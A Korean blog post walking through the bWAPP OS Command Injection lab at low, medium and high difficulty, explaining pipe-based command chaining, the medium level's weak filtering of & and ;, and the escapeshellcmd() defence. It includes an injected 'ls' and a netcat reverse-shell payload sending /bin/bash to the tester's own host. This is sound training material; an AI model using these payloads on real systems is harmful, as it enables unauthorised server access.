본문 바로가기

bWAPP

[비박스] OS Command Injection

OS Command Injection이란 취약한 변수에 악의적인 코드나 명령어를 주입하여 서버 운영체제에 접근하는 공격을 말한다.

 

↓Low level

 

os 커맨드 인젝션 페이지이다.

입력한 주소의 DNS 주소를 출력해주는데 이때 nslookup 시스템 명령어를 사용하여 DNS 주소를 조회하게 된다.

 

ls 명령어를 사용해 디렉터리 목록을 출력해보자.

ls 앞에 |(파이프라인)을 입력한 것을 확인할 수 있다.

파이프라인은 둘 이상의 명령어를 실행할 때 사용하며 한줄에 여러개의 명령어를 사용할 수 있다.

위 사진과 같이 명령어를 입력하게 되면 가장 상위의 디렉터리 정보가 출력되는 것을 확인할 수 있다.

 

다음은 nc(넷켓)을 사용해 비박스의 서버정보를 파악해보자.

리눅스에서 터미널을 열어 다음과 같이 명령어를 입력한다.

-l은 리스닝 모드, -p는 포트번호를 지정하는 옵션이다.

 

다음은 비박스 os 커맨드 인젝션 페이지로 돌아와 다음과 같이 입력하여 넷캣과 연결한다.

| nc [본인 칼리리눅스의 ip주소] [포트번호] -e /bin/bash

-e 옵션은 exec의 줄임말이며 옵션을 실행할 수 있다.

/bin/bash는 칼리리눅스 상에서 명령어 해석기인 bash쉘을 말한다.

 

넷캣을 통하여 ls 명령어를 실행한 모습이다.

 

Medium level

 

난이도 중에서는 똑같이 명령어가 실행된다.

 

이는 &문자와 ;문자만을 공백문자로 변환하기 때문이다.

유닉스 리눅스에는 파이프라인을 제외하고도 다중명령어를 사용할 수 있는 특수문자들이 많이 존재하는데

&문자와 ;문자가 그 예시이다.

 

High level

 

난이도 상에서는 난이도 하와 같이 명령어를 입력하여도 아무런 반응이 일어나지 않는다.

 

commandi.php의 소스코드를 살펴본 결과 commandi_check_2() 함수에 의해 인젝션이 불가하다는 것을 알 수 있다.

commandi_check_2() 함수를 살펴보자.

commandi_check_2() 함수를 살펴본 결과 escapeshellcmd() 함수의 결과 값을 리턴하는 것을 확인할 수 있다.

escapeshellcmd() 함수란 시스템 셸로 실행할 수 있는 특수문자에 \(백슬래쉬)를 붙여 명령을 실행할 수 없게 만든다.

반응형

'bWAPP' 카테고리의 다른 글

[비박스] SSI Injection  (0) 2020.04.22
[비박스] PHP Code Injection  (0) 2020.04.17
[비박스] iFrame Injection  (0) 2020.04.13
[비박스] HTML Injection - Stored (Blog)  (0) 2020.04.05
[비박스] HTML Injection - Reflected (POST)  (0) 2020.04.04